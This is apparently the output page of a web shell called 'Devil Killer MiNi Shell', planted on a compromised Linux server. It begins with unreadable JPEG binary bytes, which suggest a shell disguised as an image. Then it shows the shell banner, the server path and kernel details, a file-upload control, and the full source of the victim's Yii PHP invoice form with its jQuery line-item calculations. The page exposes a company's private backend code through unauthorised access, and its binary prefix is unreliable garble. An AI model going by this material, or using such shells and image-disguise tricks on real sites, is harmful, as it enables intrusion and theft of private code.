JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/views/invoices/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/backend/views/invoices/_form.php

<?php

use yii\helpers\Html;
use yii\helpers\Url;
use yii\helpers\ArrayHelper;
use kartik\widgets\DatePicker;
use yii\widgets\ActiveForm;
use common\models\Countries;
use common\models\types\CompanyOrderPaymentType;
use common\models\types\InvoiceType;
use common\models\types\InvoiceDocumentType;
use common\models\types\BankAccountType;
use common\models\types\InvoiceStatus;
use yii\bootstrap\Modal;
use common\components\widgets\Pjax;

/* @var $this yii\web\View */
/* @var $model backend\models\Invoices */
/* @var $baseModelInvoiceItem common\models\InvoicesItems */
/* @var $modelsInvoicesItems common\models\InvoicesItems[] */
/* @var $orReceiptAmountDate bool */
/* @var $form yii\widgets\ActiveForm */

$formId = 'invoice-form';

//yii\helpers\Html::getInputId($model, $attribute)

$jsValidateCode = '';
$fields = ['id_service', 'name', 'quantity', 'tax_rate', 'price_net', 'price_net_pricelist', 'discount_percent', 'amount_net', 'amount_gross'];
//$fields = ['id_service', 'name', 'quantity', 'price_net_pricelist'];
foreach($fields as $key => $fieldName) {
    $jsValidateCode .= $baseModelInvoiceItem->generateJSCodeForAddField($formId, $fieldName, 'nextIndex', ['enableAjaxValidation' => true, 'enableClientValidation' => false]);
}

$nameLabel = $baseModelInvoiceItem->getAttributeLabel('name');
$quantityLabel = $baseModelInvoiceItem->getAttributeLabel('quantity');
$priceNetPricelistLabel = $baseModelInvoiceItem->getAttributeLabel('price_net_pricelist');
$amountNetBeforeDiscountLabel = $baseModelInvoiceItem->getAttributeLabel('amount_net_before_discount');
$discountPercentLabel = $baseModelInvoiceItem->getAttributeLabel('discount_percent');
$amountNetLabel = $baseModelInvoiceItem->getAttributeLabel('amount_net');
$taxRateLabel = $baseModelInvoiceItem->getAttributeLabel('tax_rate');
$amountGrossLabel = $baseModelInvoiceItem->getAttributeLabel('amount_gross');
$orCommodityLabel = $baseModelInvoiceItem->getAttributeLabel('or_commodity');
$noLabel = Yii::t('backend', 'nie');
$yesLabel = Yii::t('backend', 'tak');

$constInvoiceTypeEuropean = InvoiceType::EUROPEAN;

$jsCode = <<<JS
    $("document").ready(function(){ 
        function roundNumber(num, scale) {
            if(!("" + num).includes("e")) {
                return +(Math.round(num + "e+" + scale)  + "e-" + scale);
            } else {
                var arr = ("" + num).split("e");
                var sig = "";
                if(+arr[1] + scale > 0) {
                    sig = "+";
                }
                return +(Math.round(+arr[0] + "e" + sig + (+arr[1] + scale)) + "e-" + scale);
            }
        }        
                
        function calculateSum() {
            var sumAmountNet = 0;
            var sumAmountGross = 0;
            $(".vjs-input-amount-net").each(function() {
                sumAmountNet += Number($(this).val());
            });
            $(".vjs-input-amount-gross").each(function() {
                sumAmountGross += Number($(this).val());
            });
            $("#invoices-amount_net").val(roundNumber(sumAmountNet, 2));
            $("#invoices-amount_gross").val(roundNumber(sumAmountGross, 2));
        }
        
        $("#items-fields-container").on("change", ".vjs-input-item-factor", function(e) {
            var row = $(this).closest(".row"),
                quantity = row.find(".vjs-input-quantity"),
                price = row.find(".vjs-input-price"),
                amountNetWithoutDiscount = row.find(".vjs-input-amount-net-without-discount"),
                discount = row.find(".vjs-input-discount"),
                amountNet = row.find(".vjs-input-amount-net"),
                taxRate = row.find(".vjs-input-tax-rate"),
                amountGross = row.find(".vjs-input-amount-gross"),
                factorName = $(this).data("factor");
        
            if(!quantity.val() || !price.val()) {
                return;
            }
        
            if(!discount.val()) {
                discount.val(0.00);
            }
        
            var discountFactor = roundNumber((1 - (discount.val() / 100)), 2);
            var taxRateFactor = roundNumber((1 + (taxRate.val() / 100)), 2);
        
            switch(factorName) {
                case "quantity":
                case "price":                    
                    amountNetWithoutDiscount.val(roundNumber(quantity.val() * price.val(), 2));
                    amountNet.val(roundNumber(amountNetWithoutDiscount.val() * discountFactor, 2));
                    amountGross.val(roundNumber(amountNet.val() * taxRateFactor, 2));
                    break;
                case "discount":
                    amountNet.val(roundNumber(amountNetWithoutDiscount.val() * discountFactor, 2));
                    amountGross.val(roundNumber(amountNet.val() * taxRateFactor, 2));
                    break;
                case "tax-rate":
                    amountGross.val(roundNumber(amountNet.val() * taxRateFactor, 2));
                    break;
                case "amount-net":
                    discount.val(roundNumber(((1 - (amountNet.val()/amountNetWithoutDiscount.val())) * 100), 2));
                    amountGross.val(roundNumber(amountNet.val() * taxRateFactor, 2));
                    break;
                case "amount-gross":
                    amountNet.val(roundNumber(amountGross.val() / taxRateFactor, 2));
                    discount.val(roundNumber(((1 - (amountNet.val()/amountNetWithoutDiscount.val())) * 100), 2)); 
                    break;
            }
        
            calculateSum();
        });
        
        $("#items-fields-container").on("click", "button.button-remove-field", function(e) {
            e.preventDefault();
            var rowContainer = $(this).parent().parent();
            rowContainer.children("input").each(function(index) {
                jQuery("#$formId").yiiActiveForm("remove", $(this).attr("id"));
            });
            rowContainer.children("div").children("input, select").each(function(index) {
                jQuery("#$formId").yiiActiveForm("remove", $(this).attr("id"));
            });
            rowContainer.remove();
            calculateSum();
        });        
        
        $("#button-add-next-field").on("click", function() {
            var orEuropeanInvoice = $("#invoices-invoice_type").val() === "$constInvoiceTypeEuropean" ? true : false;
            var nextIndex = $(this).data("next-field-index");
            var nextFieldHtmlCode = '<div class="row">'
                +'<div class="col-md-3 field-invoicesitems-XXX-name required">'
                    +'<label class="control-label" for="invoicesitems-XXX-name">$nameLabel</label>'
                    +'<div class="input-group">'
                        +'<input id="invoicesitems-XXX-name" class="form-control input-sm vjs-input-name" name="InvoicesItems[XXX][name]" maxlength="255" type="text">'
                        +'<span class="input-group-btn">'
                            +'<button class="btn btn-default btn-sm modal-services-list-button" data-url="/companiesinvoices/services-list" type="button"><span class="fa fa-fw fa-search"></span></button>'
                        +'</span>'
                    +'</div>'
                    +'<div class="help-block"></div>'
                +'</div>'
                +'<div class="col-md-1 nopadding-left field-invoicesitems-XXX-or_commodity required">'
                    +'<label class="control-label" for="invoicesitems-XXX-or_commodity">$orCommodityLabel</label>'
                    +'<select id="invoicesitems-XXX-or_commodity" class="form-control input-sm vjs-input-or-commodity" name="InvoicesItems[XXX][or_commodity]">'
                        +'<option value="0" selected>$noLabel</option>'
                        +'<option value="1">$yesLabel</option>'
                    +'</select>'
                    +'<div class="help-block"></div>'
                +'</div>'
                +'<div class="col-md-1 field-invoicesitems-XXX-quantity required">'
                    +'<label for="invoicesitems-XXX-quantity" class="control-label">$quantityLabel</label>'
                    +'<input type="text" maxlength="4" value="" name="InvoicesItems[XXX][quantity]" class="form-control input-sm vjs-input-quantity vjs-input-item-factor" id="invoicesitems-XXX-quantity" data-factor="quantity">'
                    +'<div class="help-block"></div>'
                +'</div>'
                +'<div class="col-md-1 nopadding-left field-invoicesitems-XXX-price_net_pricelist required">'
                    +'<label for="invoicesitems-XXX-price_net_pricelist" class="control-label">$priceNetPricelistLabel</label>'
                    +'<input type="text" maxlength="10" value="" name="InvoicesItems[XXX][price_net_pricelist]" class="form-control input-sm vjs-input-price vjs-input-item-factor vjs-decimal-number" id="invoicesitems-XXX-price_net_pricelist" data-factor="price">'
                    +'<div class="help-block"></div>'
                +'</div>'
                +'<div class="col-md-1 nopadding-left field-invoicesitems-XXX-amount_net_before_discount required">'
                    +'<label for="invoicesitems-XXX-amount_net_before_discount" class="control-label">$amountNetBeforeDiscountLabel</label>'
                    +'<input type="text" maxlength="10" value="" name="InvoicesItems[XXX][amount_net_before_discount]" readonly class="form-control input-sm vjs-input-amount-net-without-discount vjs-decimal-number" id="invoicesitems-XXX-amount_net_before_discount">'
                    +'<div class="help-block"></div>'
                +'</div>'
                +'<div class="col-md-1 nopadding-left field-invoicesitems-XXX-discount_percent requiredt">'
                    +'<label for="invoicesitems-XXX-discount_percent" class="control-label">$discountPercentLabel</label>'
                    +'<input type="text" maxlength="10" value="0.00" name="InvoicesItems[XXX][discount_percent]" class="form-control input-sm vjs-input-discount vjs-input-item-factor vjs-decimal-number" id="invoicesitems-XXX-discount_percent" data-factor="discount">'
                    +'<div class="help-block"></div>'
                +'</div>'
                +'<div class="col-md-1 nopadding-left field-invoicesitems-XXX-amount_net required">'
                    +'<label for="invoicesitems-XXX-amount_net" class="control-label">$amountNetLabel</label>'
                    +'<input type="text" maxlength="10" value="" name="InvoicesItems[XXX][amount_net]" class="form-control input-sm vjs-input-amount-net vjs-input-item-factor vjs-decimal-number" id="invoicesitems-XXX-amount_net" data-factor="amount-net">'
                    +'<div class="help-block"></div>'
                +'</div>'
                +'<div class="col-md-1 nopadding-left field-invoicesitems-XXX-tax_rate required">'
                    +'<label class="control-label" for="invoicesitems-XXX-tax_rate">$taxRateLabel</label>'
                    +'<select id="invoicesitems-XXX-tax_rate" class="form-control input-sm vjs-input-tax-rate vjs-input-item-factor" name="InvoicesItems[XXX][tax_rate]" data-factor="tax-rate">'
                        +'<option value="23.00"'+(orEuropeanInvoice ? '' : ' selected')+'>23 %</option>'
                        +'<option value="8.00">8 %</option>'
                        +'<option value="5.00">5 %</option>'
                        +'<option value="0.00"'+(orEuropeanInvoice ? ' selected' : '')+'>0 %</option>'
                    +'</select>'
                    +'<div class="help-block"></div>'
                +'</div>'
                +'<div class="col-md-1 nopadding-left field-invoicesitems-XXX-amount_gross required">'
                    +'<label for="invoicesitems-XXX-amount_gross" class="control-label">$amountGrossLabel</label>'
                    +'<input type="text" maxlength="10" value="" name="InvoicesItems[XXX][amount_gross]" class="form-control input-sm vjs-input-amount-gross vjs-input-item-factor vjs-decimal-number" id="invoicesitems-XXX-amount_gross" data-factor="amount-gross">'
                    +'<div class="help-block"></div>'
                +'</div>'
                +'<div class="col-md-1"><label class="control-label">&nbsp;</label><button class="button-remove-field btn btn-mini btn-block btn-danger fa fa-trash"></button></div>'
                +'<div class="col-md-12"><input type="hidden" class="vjs-input-service" value="" name="InvoicesItems[XXX][id_service]" id="invoicesitems-XXX-id_service"><span class="vjs-clear-service" style="display: none;">Odepnij usługę</span></div>'
            +'</div>';
        
            nextFieldHtmlCode = nextFieldHtmlCode.replace(/XXX/g, nextIndex);
        
            $("#items-fields-container").append(nextFieldHtmlCode);
        
            $jsValidateCode        
        
            //$("#invoicesitems-"+nextIndex+"-data_type").trigger("change");
        
            $(this).data("next-field-index", nextIndex+1);
        });
        
        calculateSum();
    });
JS;

$this->registerJs($jsCode);

$this->registerJs(
   '$("document").ready(function(){

        $("#find-contractor-button").on("click", function() {
            $("#modal-contractors-list").modal("show").find("#contractors-list-pjax").load("/invoices/contractors-list");
        });
        
        $("#modal-contractors-list").on("click", ".select-button", function() {
            $("#invoices-purchaser_name").val($(this).data("contractor-name")).trigger("change");            
            $("#invoices-purchaser_street").val($(this).data("contractor-street")).trigger("change");
            $("#invoices-purchaser_building_number").val($(this).data("contractor-building-number")).trigger("change");
            $("#invoices-purchaser_apartment_number").val($(this).data("contractor-apartment-number")).trigger("change");
            $("#invoices-purchaser_postcode").val($(this).data("contractor-postcode")).trigger("change");
            $("#invoices-purchaser_locality").val($(this).data("contractor-locality")).trigger("change");
            $("#invoices-purchaser_id_country").val($(this).data("contractor-id-country")).trigger("change");
            $("#invoices-purchaser_tax_id").val($(this).data("contractor-tax-id")).trigger("change");
            $("#invoices-currency").val($(this).data("contractor-currency")).trigger("change");
            
            //tutaj nie robimy trigger("change"), bo automatycznie przestawi walutę
            $("#invoices-invoice_type").val($(this).data("contractor-invoice-type"));

            //trzeba jednak uwzględnić sytuację, gdy typ faktury równy jest "europejska", bo wówczas należy zmienić wartość podatku na pozycjach faktury na 0.0
            if($(this).data("contractor-invoice-type") === "'.InvoiceType::EUROPEAN.'") {
                $("#items-fields-container .vjs-input-tax-rate").each(function(index) {
                    $(this).val("0.00").trigger("change");
                });
            }

            $("#invoices-idcontractor").val($(this).data("contractor-id-contractor")).trigger("change");
            
            $("#modal-contractors-list").modal("hide");
        });
        
        $("#items-fields-container").on("click", ".modal-services-list-button", function() {
            $("#items-fields-container").data("actual-selected-row", $(this).closest(".row").index());
            $("#modal-services-list").modal("show").find("#services-list-pjax").load("/invoices/services-list");
        });
        
        $("#modal-services-list").on("click", ".select-button", function() {
            var row = $("#items-fields-container > .row").eq($("#items-fields-container").data("actual-selected-row"));
            row.find(".vjs-input-service").val($(this).data("id"));
            row.find(".vjs-input-name").val($(this).data("name"));            
            row.find(".vjs-input-price").val($(this).data("price"));
            row.find(".vjs-input-discount").val("0.00");
            row.find(".vjs-input-or-commodity").val($(this).data("or-commodity"));
            row.find(".vjs-input-quantity").val(1).trigger("change");
            row.find(".vjs-clear-service").show();
            $("#modal-services-list").modal("hide");
        });
        
        $("#items-fields-container").on("click", ".vjs-clear-service", function() {
            $(this).closest(".row").find(".vjs-input-service").val("");
            $(this).hide();
        });
        
        $("#button-load-accounting-data").on("click", function() {
            var annotations = $("#invoices-annotations_for_marketer").val();
            var receiptDate = annotations.match(/^[0-9]{1,2}\.[0-9]{2}\.20[0-9]{2}/);
            if(receiptDate) {
                var receiptDateParts = receiptDate[0].split(".").reverse();
                if(receiptDateParts[2].length === 1) {
                    receiptDateParts[2] = "0"+receiptDateParts[2];
                }
                $("#invoices-receipt_amount_date").val(receiptDateParts.join("-"));
            }
            $("#invoices-receipt_amount_value").val($("#invoices-amount_gross").val());
        });
        
        $("#invoices-invoice_type").on("change", function() {
            if($(this).val() === "'.InvoiceType::EUROPEAN.'") {
                $("#invoices-currency").val("EUR");
                $("#items-fields-container .vjs-input-tax-rate").each(function(index) {
                    $(this).val("0.00").trigger("change");
                });
            } else if($(this).val() === "'.InvoiceType::NATIONAL.'") {
                $("#invoices-currency").val("PLN");
            } else {
                $("#invoices-currency").val("USD");
            }
        });
        
        $("#invoices-currency").on("change", function() {
            if($(this).val() === "EUR") {
                $("#invoices-bank_account_type").val("'.BankAccountType::EUROPEAN.'");
            } else if($(this).val() === "PLN") {
                $("#invoices-bank_account_type").val("'.BankAccountType::POLISH.'");
            }
        });
    });'
);

$this->registerJs('
    $("#toggle-edit-invoice-number-button").on("click", function() {
        var buttonLabel = $(this).find("span");
        var input = $("#invoices-invoice_number");

        if(input.prop("readonly")) {
            input.prop("readonly", null);
            buttonLabel.removeClass("fa-lock").addClass("fa-unlock");
        } else {
            input.prop("readonly", true);
            buttonLabel.removeClass("fa-unlock").addClass("fa-lock");
        }
    });

    $("#toggle-edit-accounting-fields-button").on("click", function() {
        var buttonLabel = $(this).find("span");
        var fields = ["receipt_amount_value", "receipt_amount_date", "annotations_for_marketer", "annotations_for_editorship", "annotations"];

        if($("#invoices-receipt_amount_value").prop("readonly")) {
            $.each(fields, function(index, fieldName) {
                $("#invoices-"+fieldName).prop("readonly", null);
            });
            buttonLabel.removeClass("fa-lock").addClass("fa-unlock");
        } else {
            $.each(fields, function(index, fieldName) {
                $("#invoices-"+fieldName).prop("readonly", true);
            });
            buttonLabel.removeClass("fa-unlock").addClass("fa-lock");
        }
    });
');

$this->registerJs('
    $("#prepayment-invoices-container").on("click", "button.button-remove-field", function(e) {
        e.preventDefault();
        
        var rowContainer = $(this).parent().parent();
        var idInvoiceForRemove = parseInt(rowContainer.data("id"));
        
        var select = $("#invoices-listprepaymentinvoices"); 
        select.find("option[value="+idInvoiceForRemove+"]").remove();
        select.trigger("change");

        rowContainer.remove();
    });
    
    $("#modal-prapayment-invoices-list-button").on("click", function() {    
        $("#modal-prepayment-invoices-list").modal("show").find("#prepayment-invoices-list-pjax").load("/invoices/prepayment-invoices-list");
    });
    
    $("#modal-prepayment-invoices-list").on("click", ".select-button", function() {
        var id = parseInt($(this).data("id"));
        var invoiceNumber = $(this).data("invoice-number");
        var proformaInvoiceNumber = $(this).data("proforma-invoice-number");

        var documentNumber = invoiceNumber ? invoiceNumber : proformaInvoiceNumber;

        var select = $("#invoices-listprepaymentinvoices"); 
        var orAlreadyExists = false;

        select.find("option").each(function(index, element) {
            console.log(element);
            if(parseInt(element.value) === id) {
                orAlreadyExists = true;
            }
        });

        if(!orAlreadyExists) {
            select.append("<option value=\""+id+"\" selected=\"selected\">"+documentNumber+"</option>");            
            
            var html = "<div class=\"row\" data-id=\""+id+"\">"
                    +"<div class=\"col-md-11 nopadding-right\">"
                        +"<label class=\"control-label\">&nbsp;</label>"
                        +"<input type=\"text\" class=\"form-control input-sm\" value=\""+documentNumber+"\" maxlength=\"10\" aria-required=\"true\" readonly=\"readonly\">"
                    +"</div>"
                    +"<div class=\"col-md-1\">"
                        +"<label class=\"control-label\">&nbsp;</label>"
                        +"<button class=\"button-remove-field btn btn-mini btn-block btn-danger fa fa-trash\"></button>"
                    +"</div>"
                +"</div>";

            $("#prepayment-invoices-container").append(html);
            
            select.trigger("change");
        }

        $("#modal-prepayment-invoices-list").modal("hide");
    });
    
    $("#invoices-document_type").on("change", function() {
        $("#prepayment-invoices-container").parent().css("display", $(this).val() === "'.InvoiceDocumentType::A_FINAL.'" ? "block" : "none");
        $("#items-annotation").css("display", $(this).val() === "'.InvoiceDocumentType::A_FINAL.'" ? "block" : "none");
    });
'); 

$countriesList = ArrayHelper::map(
    Countries::find()->asArray()->all(),
    function($element){ return $element['id_country']; }, 
    function($element){ return Yii::t('common-countries', $element['name']); }
);

$scenarios = $model->scenarios();
$fieldsInScenario = $scenarios[$model->getScenario()];
unset($scenarios);

?>

<?php Modal::begin(['header' => '<h4></h4>', 'id' => 'modal-contractors-list', 'size' => Modal::SIZE_LARGE]); ?>
    <?php 
        Pjax::begin([
            'id' => 'contractors-list-pjax',
            'enableReplaceState'=>false,
            'enablePushState'=>false,
            'clientOptions' => [
                'async' => false
            ]
        ]); 
    ?>
    <?php Pjax::end(); ?>
<?php Modal::end(); ?> 

<?php Modal::begin(['header' => '<h4></h4>', 'id' => 'modal-services-list', 'size' => Modal::SIZE_LARGE]); ?>
    <?php 
        Pjax::begin([
            'id' => 'services-list-pjax',
            'enableReplaceState'=>false,
            'enablePushState'=>false,
            'clientOptions' => [
                'async' => false
            ]
        ]); 
    ?>
    <?php Pjax::end(); ?>
<?php Modal::end(); ?> 

<?php Modal::begin(['header' => '<h4></h4>', 'id' => 'modal-prepayment-invoices-list', 'size' => 'modal-xxl']); ?>
    <?php 
        Pjax::begin([
            'id' => 'prepayment-invoices-list-pjax',
            'enableReplaceState'=>false,
            'enablePushState'=>false,
            'clientOptions' => [
                'async' => false
            ]
        ]); 
    ?>
    <?php Pjax::end(); ?>
<?php Modal::end(); ?> 

<div class="invoices-form">

    <?php $form = ActiveForm::begin([
        'id' => $formId,
        'enableAjaxValidation' => false,
        'enableClientValidation' => true,
        'validateOnSubmit' => true,
        'validateOnChange' => true,
        'validateOnType' => true,
        'options' => [
                'role' => 'form',
//            'data-pjax' => true
        ],
    ]); ?>
    
    <div class="row">
        <?php if(!$model->isNewRecord && !empty($model->invoice_number)): ?>
            <?= $form->field($model, 'invoice_number', ['enableAjaxValidation' => true, 'enableClientValidation' => false, 'options' => ['class' => 'col-md-3'], 'template' => "{label}\n<div class=\"input-group\">\n{input}\n<span class=\"input-group-btn\">\n<button id=\"toggle-edit-invoice-number-button\" class=\"btn btn-default\" type=\"button\"><span class=\"fa fa-fw fa-lock\"></span></button>\n</span>\n</div>\n{hint}\n{error}"])->textInput(['maxlength' => true, 'readonly' => true]) ?>     
        <?php else: ?>
            <?= $form->field($model, 'invoice_number', ['enableAjaxValidation' => true, 'enableClientValidation' => false, 'options' => ['class' => 'col-md-3']])->textInput(['maxlength' => true]) ?>
        <?php endif; ?>
        
        <?= $form->field($model, 'proforma_invoice_number', ['options' => ['class' => 'col-md-3']])->textInput($model->isNewRecord ? ['maxlength' => true, 'readonly' => true] : ['maxlength' => true]) ?>
        <?= $form->field($model, 'invoice_date', ['options' => ['class' => 'col-md-2']])->widget(DatePicker::classname(), [
            'options' => [],
            'readonly' => true,
            'pluginOptions' => [
                'autoclose' => true,
                'format' => 'yyyy-mm-dd',
                'todayHighlight' => true,
                'weekStart' => 1
            ]
        ]); ?>
        <?= $form->field($model, 'sale_date', ['options' => ['class' => 'col-md-2']])->widget(DatePicker::classname(), [
            'options' => [],
            'readonly' => true,
            'pluginOptions' => [
                'autoclose' => true,
                'format' => 'yyyy-mm-dd',
                'todayHighlight' => true,
                'weekStart' => 1
            ]
        ]); ?>
        <?= $form->field($model, 'payment_date', ['options' => ['class' => 'col-md-2']])->widget(DatePicker::classname(), [
            'options' => [],
            'readonly' => true,
            'pluginOptions' => [
                'autoclose' => true,
                'format' => 'yyyy-mm-dd',
                'todayHighlight' => true,
                'weekStart' => 1
            ]
        ]); ?>
    </div>
    
    <div class="row">
        <?php if(in_array('payment_date_executed', $fieldsInScenario)): ?>
            <?= $form->field($model, 'payment_date_executed', ['options' => ['class' => 'col-md-3']])->widget(DatePicker::classname(), [
                'options' => [],
                'readonly' => true,
                'pluginOptions' => [
                    'autoclose' => true,
                    'format' => 'yyyy-mm-dd',
                    'todayHighlight' => true,
                    'weekStart' => 1
                ]
            ]); ?>
        <?php else: ?>
            <?= $form->field($model, 'payment_date_executed', ['options' => ['class' => 'col-md-3']])->textInput(['maxlength' => true, 'readonly' => true]) ?>
        <?php endif; ?>
        
        <?php if(in_array('duplicate_date', $fieldsInScenario)): ?>
            <?= $form->field($model, 'duplicate_date', ['options' => ['class' => 'col-md-3']])->widget(DatePicker::classname(), [
                'options' => [],
                'readonly' => true,
                'pluginOptions' => [
                    'autoclose' => true,
                    'format' => 'yyyy-mm-dd',
                    'todayHighlight' => true,
                    'weekStart' => 1
                ]
            ]); ?>
        <?php else: ?>            
            <?= $form->field($model, 'duplicate_date', ['options' => ['class' => 'col-md-3']])->textInput(['maxlength' => true, 'readonly' => true]) ?>
        <?php endif; ?>
        <?= $form->field($model, 'or_electronic_version', ['options' => ['class' => 'col-md-2']])->dropDownList([0 => Yii::t('backend', 'nie'), 1 => Yii::t('backend', 'tak')]) ?>
        <?= $form->field($model, 'payment_type', ['options' => ['class' => 'col-md-2']])->dropDownList(CompanyOrderPaymentType::getValuesWithLabels()) ?>
        <?= $form->field($model, 'currency', ['options' => ['class' => 'col-md-2']])->textInput(['maxlength' => true, 'list' => 'currencies-list']) ?>
        <datalist id="currencies-list">
            <option value="PLN">
            <option value="EUR">
            <option value="USD">
            <option value="RON">
            <option value="HUF">
            <option value="BGN">
            <option value="GBP">
        </datalist>
    </div>
    
    <div class="row">
        <?= $form->field($model, 'invoice_type', ['options' => ['class' => 'col-md-3']])->dropDownList(InvoiceType::getValuesWithLabels()) ?>
        <?= $form->field($model, 'bank_account_type', ['options' => ['class' => 'col-md-3']])->dropDownList(BankAccountType::getValuesWithLabels()) ?>
        <?= $form->field($model, 'amount_net', ['options' => ['class' => 'col-md-3']])->textInput(['maxlength' => true, 'readonly' => true, 'class' => 'form-control vjs-decimal-number']) ?>
        <?= $form->field($model, 'amount_gross', ['options' => ['class' => 'col-md-3']])->textInput(['maxlength' => true, 'readonly' => true, 'class' => 'form-control vjs-decimal-number']) ?>
    </div>
    <div class="row">
        <?= $form->field($model, 'sent_date_paper_version', ['options' => ['class' => 'col-md-4']])->widget(DatePicker::classname(), [
            'options' => [],
            'readonly' => true,
            'pluginOptions' => [
                'autoclose' => true,
                'format' => 'yyyy-mm-dd',
                'todayHighlight' => true,
                'weekStart' => 1
            ]
        ]); ?>
        <?php if(in_array('shipping_number', $fieldsInScenario)): ?>
            <?= $form->field($model, 'shipping_number', ['options' => ['class' => 'col-md-6']])->textInput(['maxlength' => true]) ?>
        <?php else: ?>
            <?= $form->field($model, 'shipping_number', ['options' => ['class' => 'col-md-6']])->textInput(['maxlength' => true, 'readonly' => true]) ?>
        <?php endif; ?>
        
        <?php if(in_array('listPrepaymentInvoices', $fieldsInScenario)): ?>
            <?= $form->field($model, 'document_type', ['options' => ['class' => 'col-md-2']])->dropDownList(InvoiceDocumentType::getValuesWithLabels()) ?>
        <?php else: ?>
            <?= $form->field($model, 'document_type', ['options' => ['class' => 'col-md-2']])->dropDownList(InvoiceDocumentType::getValuesWithLabels(), ['disabled' => true]) ?>
        <?php endif; ?>
    </div>
    
